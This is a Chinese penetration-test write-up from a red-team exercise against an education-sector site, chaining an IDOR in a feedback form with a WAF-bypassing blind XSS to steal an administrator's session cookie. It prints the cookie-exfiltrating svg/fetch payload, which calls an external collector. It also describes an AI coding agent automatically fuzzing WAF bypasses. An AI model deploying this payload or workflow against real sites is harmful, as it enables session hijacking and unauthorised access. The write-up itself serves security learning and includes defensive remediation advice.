0x01 故事背景
前段时间有幸参加了上海市的HW,在那场充满硝烟的赛博博弈中,我成功拿下了一个关键的靶标系统。
这次渗透的过程堪称教科书级别的“组合拳”打法:从微小的逻辑瑕疵到越权操作,再到最终通过 Blind-XSS 绕过 WAF 成功窃取管理员 Cookie。今天,我决定复盘整个渗透过程,把这份“实战笔记”分享给正在安全路上摸爬滚打的你。
0x02 信息收集
在对目标资产 http://***.edu.cn/ 进行信息收集时,我发现了一个非常典型的交互功能点——“我要反馈”。
作为一名渗透测试员,这种能够将用户输入持久化存储并在后台展示的功能,简直就是 XSS 漏洞的天然温床。我当时的第一反应是:如果这里存在 Blind-XSS(盲打 XSS),只要后台管理员点开反馈列表,他的权限就是我的。
但我并没急着直接上 Payload。作为职业习惯,我先随手扔进了一个简单的 <a> 标签探测一下过滤情况

0x03 漏洞利用
在拦截住反馈提交的 POST 请求包后,我敏锐地捕捉到了一个名为 ksh 的字段:

这个 ksh 看起来是一个纯数字的流水号。我脑子里瞬间闪过一个念头:如果我修改这个数字,是不是可以越权修改他人的反馈?或者冒充他人提交?
为了验证这个猜想,我打开了 Yakit 的爆破模块,对 ksh 的最后六位进行了小范围重放。果不其然,当长度返回为 54 时(成功保存),而某些长度返回 69(提示反馈已存在或无权限)。


逻辑转换瞬间:
这意味着我不仅发现了一个越权漏洞,更获得了一个“扩音器”——我可以批量地给系统中成百上千的用户植入我的恶意 Payload。即使管理员不看我的反馈,他总会看别人的吧?
接下来正式进入盲打XSS环节
真正的挑战才刚刚开始。当我尝试输入常规的 <script> 标签时,系统无一例外地返回了 403 Forbidden。显然,目标系统背后有一层 WAF 在时刻盯着我。

“普通的招数不行,那就来点硬核的。”
经过大量的变体测试和编码尝试,我发现 WAF 对传统的 script、img/onerror 比较敏感,但对 svg 标签的防御逻辑存在死角。结合 HTML 实体编码,我构造了一套极其隐蔽的 Payload。
这里的话,其实我是直接结合AI来自动化实现的,因为这里AI效果最好,直接接入Burpsuite MCP工具,配置好本地Claude Code,让他对这个“留言”的字段进行自动化的测试,通过返回的情况不断自动化去fuzz去绕过,具体就不详细说了
大致总结一下,关键思路的转变:
- 标签选择:使用 <svg/onload=…>。
- 编码对抗:将 Payload 中的敏感字符(如 fetch、document.cookie)进行实体编码。
- 闭合测试:考虑到后台渲染环境,我准备了多套闭合方案(包括 “> 闭合和 ‘”> 闭合)。
最终成型的核心 Payload 如下(脱敏版):
<svg/onload="fetch(('https://xss.report/c/your_id',{method:'POST',mode:'no-cors',body:JSON.stringify({cookies:document.cookie,url:location.href})})">
标注与注释:
- ( 和 ':分别是左括号和单引号的实体编码,用于绕过 WAF 对函数调用的特征识别。
- fetch:利用现代浏览器 API 进行异步数据回传,比传统的 new Image() 更隐蔽
带着“广撒网”的策略,我结合之前发现的 IDOR 漏洞,换了几个爆破出来的 ksh 值,连续打出了一波 Payload。
剩下的就是等待。
几小时后,我的 XSS 接收平台弹出了消息提醒。点开一看,那一串长长的 JSESSIONID 赫然在目!

通过替换 Cookie,我成功登录了后台管理系统。系统右上角清晰地显示着账号:adminsjw。

0x04 防御反思
这次渗透成功的本质是“逻辑漏洞 + 输入过滤不严”的链式反应。作为开发者,我们该如何加固?
- 输入合法性校验 (Input Validation):
不要只依赖前端过滤或简单的黑名单。对于反馈内容,应使用成熟的 HTML Purifier 库,只允许安全的标签白名单。 - 输出编码 (Output Encoding):
这是防御 XSS 的金科玉律。在后台管理系统渲染用户提交的数据时,必须进行 HTML 实体转义。 - 权限校验 (Authorization):
针对 ksh 这种关键业务 ID,后端必须校验当前请求用户是否有权操作该 ID 对应的数据,从根源消除 IDOR。 - Cookie 安全属性:
为敏感 Cookie 设置 HttpOnly 标志。这样即使存在 XSS 漏洞,攻击者也无法通过 document.cookie 读取到会话凭证。
结语
安全研究不仅仅是寻找系统的裂缝,更是一场关于思维广度的较量。这次护网行动让我深刻体会到,漏洞从来不是孤立存在的,将细小的逻辑瑕疵串联起来,往往能产生摧枯拉朽的力量。